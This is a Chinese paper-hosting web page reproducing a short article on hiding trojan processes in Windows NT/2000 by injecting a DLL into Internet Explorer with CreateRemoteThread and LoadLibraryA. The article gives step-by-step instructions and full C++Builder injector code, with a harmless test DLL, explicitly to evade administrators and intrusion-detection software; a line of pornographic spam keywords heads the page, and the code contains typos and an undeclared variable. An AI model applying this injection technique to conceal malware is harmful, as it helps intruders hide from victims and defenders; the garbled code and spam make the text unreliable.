亚洲一区人妻,久久三级免费,国模少妇无码一区二区三区,日韩av动漫

國內(nèi)或國外 期刊或論文

您當(dāng)前的位置:發(fā)表學(xué)術(shù)論文網(wǎng)電子論文》 電子類核心期刊論文Windows系統(tǒng)下進(jìn)程的隱藏> 正文

電子類核心期刊論文Windows系統(tǒng)下進(jìn)程的隱藏

所屬分類:電子論文 閱讀次 時間:2015-09-14 15:48

本文摘要:把WIN64AST舊版本的進(jìn)程隱藏功能獨立出來了,單獨做了個小工具。無需.NET,但是需要認(rèn)真閱讀文檔才能使用,下面小編推薦一篇進(jìn)程隱藏的電子論文。 摘要:進(jìn)程的隱藏一直是木馬程序設(shè)計者不斷探求的重要技術(shù),本文采用遠(yuǎn)程線程技術(shù),通過動態(tài)鏈接庫方法,較好

  把WIN64AST舊版本的“進(jìn)程隱藏”功能獨立出來了,單獨做了個小工具。無需.NET,但是需要認(rèn)真閱讀文檔才能使用,下面小編推薦一篇進(jìn)程隱藏的電子論文。

  摘要:進(jìn)程的隱藏一直是木馬程序設(shè)計者不斷探求的重要技術(shù),本文采用遠(yuǎn)程線程技術(shù),通過動態(tài)鏈接庫方法,較好地解決了這一問題,通過遠(yuǎn)程線程將木馬作為線程隱藏在其他進(jìn)程中,從而達(dá)到隱藏的目的。

  關(guān)鍵字:進(jìn)程 線程 木馬 動態(tài)鏈接庫

  木馬程序(也稱后門程序)是能被控制的運行在遠(yuǎn)程主機上的程序,由于木馬程序是運行在遠(yuǎn)程主機上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點。

  本文分析了Windows NT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)Windows NT/2000系統(tǒng)中進(jìn)程的隱藏。

  1 基本原理

  在WIN95/98中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在Windows NT/2000中卻完全不同, 無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過Windows NT/2000的任務(wù)管理器,Windows NT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在Windows NT/2000下木馬真的再也無法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進(jìn)程,我們基本上認(rèn)為這個木馬的隱藏已經(jīng)完全失敗。在Windows NT/2000下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。

  2 實現(xiàn)方法

  為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是Dynamic Link Library(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進(jìn)程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進(jìn)程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進(jìn)程來運行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會出現(xiàn)那個進(jìn)程而并不會出現(xiàn)木馬DLL,如果那個進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。

  運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對這個私有空間進(jìn)行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

  遠(yuǎn)程線程技術(shù)指的是通過在另一個進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實際上,我們通過一個遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

  3 實施步驟

  1) 用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

  OpenProcess()函數(shù)打開宿主進(jìn)程。

  2) 用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的內(nèi)存。

  3) 用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

  4) 拷貝到步驟二已經(jīng)分配的內(nèi)存中。

  5) 用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。

  6) 用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個線程。

  7) 它調(diào)用正確的LoadlibraryA()函數(shù)。

  8) 為它傳遞步驟二中分配的內(nèi)存地址。

  4 具體實例

  下面是在C++Builder 4.0環(huán)境下編寫的運用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:

  #include

  #include

  #include

  #include //該頭文件包涵了進(jìn)程操作的API函數(shù)

  #pragma hdrstop

  #include "Unit1.h"

  #pragma package(smart_init)

  #pragma resource "*.dfm"

  Insisting pszLibFileName;//存放待隱藏的DLL文件名

  HANDLE hProcessSnap=NULL;//進(jìn)程快照句柄

  HANDLE hRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

  LPVOID pszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

  HMODULE phmd;//存放kernel32.dll句柄

  HANDLE hRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

  TForm1 *Form1;

  //---------------------------------------------------------

  __fast call TForm1::TForm1(TComponent* Owner)

  : TForm(Owner)

  {

  }

  //---------------------------------------------------------

  void __fastcall TForm1::Button1Click(TObject *Sender)

  {

  PROCESSENTRY32 pe32={0};

  DWORD dwRemoteProcessId;

  hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  //打開進(jìn)程快照

  if(hProcessSnap==(HANDLE)-1)

  {

  MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);

  exit(0);

  } //失敗返回

  pe32.dwSize=sizeof(PROCESSENTRY32);

  if(Process32First(hProcessSnap,&pe32)) //獲取第一個進(jìn)程

  {

  do{

  AnsiString te;

  te=pe32.szExeFile;

  if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))

  //找到宿主進(jìn)程,以IEXPLORE.EXE為例

  { dwRemoteProcessId=pe32.th32ProcessID;

  break;

  }

  }

  while(Process32Next(hProcessSnap,&pe32));//獲取下一個進(jìn)程

  }

  else

  {

  MessageBox(NULL,"取第一個進(jìn)程失敗","",MB_OK);

  exit(0);

  }

  hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

  _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

  //打開遠(yuǎn)程進(jìn)程

  pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

  // 假設(shè)hide.dll是待隱藏的進(jìn)程

  int cb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

  pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

  MEM_COMMIT,PAGE_READWRITE);

  //申請存放文件名的空間

  BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

  //把dll文件名寫入申請的空間

  phmd=GetModuleHandle("kernel32.dll");

  LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)

  GetProcAddress(phmd,"LoadLibraryA");

  //獲取動態(tài)鏈接庫函數(shù)地址

  hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

  pfnStartAddr,pszLibFileRemote,0,NULL);

  //創(chuàng)建遠(yuǎn)程線程

  if(hRemoteThread1!=NULL)

  CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

  if(hProcessSnap!=NULL)

  CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

  }

  該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

  至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

  #include

  #include

  #pragma hdrstop

  #pragma argsused

  BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

  {

  char szProcessId[64];

  switch(reason)

  {

  case DLL_PROCESS_ATTACH:

  {//獲取當(dāng)前進(jìn)程ID

  itoa(GetCurrentProcessId(),szProcessId,10);

  MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

  break;

  }

  default:

  }

  return TRUE;

  }

  當(dāng)使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時使用PS工具

  也能看到:

  Process ID: 1208

  C:\WINNT\IEXPLORE.EXE (0x00400000)

  ……

  C:\WINNT\hide.dll (0x100000000)

  ……

  這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

  5 結(jié)束語

  進(jìn)程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當(dāng)快,本文僅從一個側(cè)面加以討論,希望通過這一探討讓我們對進(jìn)程隱藏技術(shù)有一個更清楚的認(rèn)識,同時也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考,本文拋磚引玉,不當(dāng)之處誠懇批評指正。

  參考文獻(xiàn)

  1 Jeffrey Richter著 王建華、張煥生、侯麗坤等譯 Windows核心編程 機械工業(yè)出版社2

  K.賴斯多夫 H. 亨德森著 希望圖書創(chuàng)作室譯 Borland C++ Builder 實用培訓(xùn)教程.

  小編推薦優(yōu)秀電子期刊 《計算機輔助工程

  《計算機輔助工程》是上海海事大學(xué)主辦的學(xué)術(shù)性刊物,創(chuàng)刊于1992年,是我國計算機界與工程界的重要學(xué)術(shù)性刊物之一。本刊主要刊登計算機技術(shù)及其應(yīng)用和相關(guān)領(lǐng)域的學(xué)術(shù)論文,如計算機輔助設(shè)計與圖形學(xué)技術(shù)及應(yīng)用、專家系統(tǒng)、知識工程、計算機網(wǎng)絡(luò)與通信、分布式系統(tǒng)、計算機軟件與理論、程序設(shè)計語言、操作系統(tǒng)、數(shù)據(jù)庫、計算機輔助教學(xué)、制造業(yè)信息化、物流工程信息化、交通運輸工程信息化、信息管理技術(shù)及應(yīng)用、人工智能技術(shù)及應(yīng)用、電氣自動化等領(lǐng)域的文章,以及有價值的研究報告和研究簡介。

轉(zhuǎn)載請注明來自發(fā)表學(xué)術(shù)論文網(wǎng):http:///dzlw/4455.html